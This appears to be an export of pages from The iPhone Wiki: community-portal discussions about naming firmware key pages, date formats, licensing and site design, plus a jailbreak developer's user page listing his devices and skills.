::::::Wow, time really flies when you sleep all day. I've missed a ''lot''. Ok. I'm happy we decided to use the firmware moniker instead of something else. Personally, I don't like #1 because it just looks weird IMO. In addition, #1 and #2 would require the use of brackets (<code>(iPhone 4 [3,1])</code>) which would require the use of <code><nowiki/></code> all over the place, and that will get not only ugly, but annoying. I agree #3 looks weird. However, #4 just looks redundent. I personally would like just <code>iPhone3,1</code>, but if I would have to put my vote on one of those last two, it would be #4. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 08:20, 2 January 2014 (UTC)
:::::::One last comment: We could also just use "iPhone3,1" (leaving the leading "iPhone 4" completely away). That would have two advantages and two disadvantages:
:::::::*+ shorter
:::::::*+ future-proof; if we ever decide to rename the rest as well, this is the way to name it
:::::::*- somehow inconsistent with non-ambiguous other key pages (although ambiguous and non-ambiguous pages are different now anyway)
:::::::*- less easy to understand from the name what device it is (but the iOS version is also not directly visible)
:::::::--[[User:Http|http]] ([[User talk:Http|talk]]) 11:10, 2 January 2014 (UTC)
::::::::To me, that makes it worse. Why can we not use the rounded "()" brackets? I mean, it will only be duplicated in the key page urls, in which if it must be, just do "iPhone 4 iPhone3,1". Does not seem too bad to me. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:18, 2 January 2014 (UTC)
::::::::::We ''don't want to'' use parenthesis because then we get double parenthesis (<code>Telluride 9A334 (iPhone 4 (3,1))</code>). We would have to use braces (<code>Telluride 9A334 (iPhone 4 [3,1])</code>), but MediaWiki chokes when there's braces in a link unless you use <code><nowiki/></code>; and that would mean ''everywhere'' there's a firmware link. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
::::::::That ''is'' what I suggested in my reply... As for your first disadvantage, it only applies to the iPads where Apple has gotten confusing. Actually, now that I think of that, option #4 above does look nice. However, I still don't like the redundency of having <code>iPhone</code> in there twice. And as I said before, options #1 and #3 just look weird. So we're stuck at either redundency or looking weird. But then again, it wouldn't be redundent for the non-existent iPad key page links where Apple decided to be annoying with their firmware monikers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
:::::::::Could we not just use the parenthesis but just not in the key page URL's? I mean, "iPhone 4 (iPhone3,1)" but in the urls for key pages, <code>Telluride 9A334 (iPhone_4_iPhone3,1)</code>? That seems fine here. The underscores are currently there anyway. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:32, 2 January 2014 (UTC)
::::::::::This seems fine to me… Well, aside from the underscores. Other than that, we're actually already doing the same thing until the changes are implemented. (Key pages say "(iPhone 4 GSM)" while other parts of the wiki say "iPhone 4 (GSM model).") --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:05, 2 January 2014 (UTC)
::::::::I think that "iPhone 4 (iPhone3,1)" does look the nicest, and I don't really feel like it's redundant. I also like the idea of just saying 'iPhone3,1'. If either of those options doesn't work, it might be good to do something like "iPhone 4; iPhone3,1" or "iPhone 4 | iPhone3,1".--[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 16:46, 2 January 2014 (UTC)
:::::::::The underscores were stated due to the key page URL's use that. I did not mean use that throughout. Was just to give an example, [[User:Dialexio|Dialexio]]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:16, January 2, 2014‎ (UTC)
::::::::::So we have to decide between
::::::::::#"Telluride 9A334 (iPhone 4 iPhone3,1)" (name on link could be "Telluride 9A334 (iPhone 4 [iPhone3,1])" or whatever fits best in the context)
::::::::::#"Telluride 9A334 (iPhone3,1)"
::::::::::I would prefer #2 (for advantages/disadvantages see list above), but could also live with the other one. Votes? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:06, 2 January 2014 (UTC)
:::::::::::I would prefer #1 because it would be more consistent. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:14, 2 January 2014 (UTC)
:::::::::::Count my vote for #2. I could go either way, but option #2 looks nicer. But just to double-check (yet again), we ''are'' using "iPhone 4 (iPhone3,1)" in places like [[Firmware]]'s headings, right? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:19, 7 January 2014 (UTC)
::::::::::::Headings/titles/links: we didn't decide on that, but I think we can put whatever fits best in the context of a page. So that's a 'yes'. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:53, 9 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)
:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)
:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)
::<code>&nbsp;</code> stands for "'''n'''on-'''b'''reaking '''sp'''ace". It is essentially a space, but with a property that prevents word wrap from occurring between the two words it's between. Look at [[Firmware Keys]] on a small enough screen (1024 across should do it). Your browser should preserve the space between the date "words". Now, go into the edit page and remove the <code>&nbsp;</code> from everything in one table. Your browser will now word wrap the date "words". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)
:What I actually want to do is use <code>{{[[Template:Start date|start date]]}}</code> instead of plain dates in areas where dates are used as a statistic; for example, [[Firmware]], [[Firmware Keys]], [[SHSH]], [[Timeline]], etc. Places where dates are used to record when something happened, for example on [[evasi0n7]], "On 28 December 2013...", should use the date flat out in the source. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)

== Template documentation ==
Whenever using templates that are copied here from Wikipedia, I almost always forget the parameters of the template. I then have to open Wikipedia and search for the template. What I want to do it copy the template documentation from Wikipedia here. To work around the licensing issue, we can create our own template that you would include at the bottom of the copied documentation that says the documentation comes from Wikipedia (because Wikipedia uses [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|CC-BY-SA 3.0]] which says our copied text must be under CC-BY-SA 3.0 ''and'' attribute Wikipedia and her editors. I can write the text for license template. Any ideas? Any opposition? If not, I'll begin in a few days. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)

User:+3x7R00Tripper

2014-01-10T00:00:02Z

Http: /* Posts on theiphonewiki */ remove inproper link

== [http://3x7R00Tripper.com/about.php About] ==
Hello, I am a jailbreak developer and iOS security researcher and developer.

I am co founder of teamsync(syncdevteam) iPhone dev team and member m0bdev core member.

I develop exploits, jailbreaks and more.

I do much stuff wich need a jailbreak without jailbreak.

I'm not a iOS hacker only, I work with all ARM platforms too.

I research in the filesystem, kernel... for all types of exploits(code signing, userland, kernel...)

== Contact/Links ==
For Links and Contact please go to http://3x7r00tripper.com/contact.php

== [[wikipedia:Operating system|Operating Systems]] ==
* '''[[iOS]]''' (see [[#iDevices|device]] list)
* '''[[wikipedia:Mac OS X Mountain Lion|Mac OS X Mountain Lion]]''' (desktop)
* '''[[wikipedia:Ubuntu|Ubuntu]]''' (desktop)
* '''[[wikipedia:Windows 7|Windows 7]]''' (desktop)
* '''[[wikipedia:Windows 8|Windows 8]]''' (desktop)

== Posts on theiphonewiki ==
* '''[[Tutorial:Booting XNU on A4 Devices]]'''
* '''[[Time exploit]]'''
* '''team-sync'''
 

== [http://projects.3x7r00tripper.com Projects] ==

== [[iDevice]]s ==
{| class="wikitable" style="text-align:center;"
|-
! rowspan="2" | iDevice
! colspan="2" | [[iPhone]]
! colspan="3" | [[iPad]]
|-
! [[n90ap|4 (GSM)]]
! [[n51ap|5s (GSM)]]
! [[j2aap|4G Wifi + 3G]]
|-
! Size
| 16 GiB
| 16 GiB
| 16 GiB
|-
! Jailbroken?
| {{yes}}
| {{no}}; Apps without AppStore installed only
| {{no}}
|-
! iOS
| 7.0.4
| 7.0.2
| 7.0.4
|}

I have two Apple TV's also:
{| class="wikitable" style="text-align:center;"
|-
! rowspan="2" | Device
! colspan="2" | [[Apple TV]]
|-
! [[j33ap|3G ]]
! [[j33ap|3G ]]
|-
! Size
| 8 GiB
| 8 GiB
|-
! Jailbroken?
| {{no}}; Plex installed only
| {{no}}
|-
! iOS
| 6.1.3
| 6.1.2
|}

== [[wikipedia:Programming language|Programming Languages]] ==
* C-based
** '''[[wikipedia:C_programming|C]]'''
** '''[[wikipedia:C++|C++]]'''
** '''[[wikipedia:C Sharp (programming language)|C#]]'''
* More
** '''[[wikipedia:Objective C (programming language)|Objective C]]'''
** '''[[wikipedia:Python (programming language)|Python]]'''
** '''[[wikipedia:Apple Script (programming language)|Apple Script]]'''
** '''[[wikipedia:Bash (programming language)|Bash]]'''
** '''[[wikipedia:Perl (programming language)|Perl]]'''
** '''[[wikipedia:Ruby (programming language)|Ruby]]'''
** '''[[wikipedia:Java (programming language)|Java]]'''
** '''[[wikipedia:Visual Basic (programming language)|Visual Basic]]'''
** '''[[wikipedia:AutoIt (programming language)|AutoIt]]'''
* Web
** '''[[wikipedia:HTML5|HTML5]]'''
** '''[[wikipedia:Cascading Style Sheets#CSS 3|CSS3]]'''
** '''[[wikipedia:JavaScript|JavaScript]]'''
** '''[[wikipedia:PHP|PHP]]'''
* [[wikipedia:Assembly Language|Assembly]]
** '''[[wikipedia:ARM architecture|ARM]]'''

The iPhone Wiki:Community portal

2014-01-09T23:53:52Z

Http: /* "GSM" Replacement Proposals (cont.) */

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

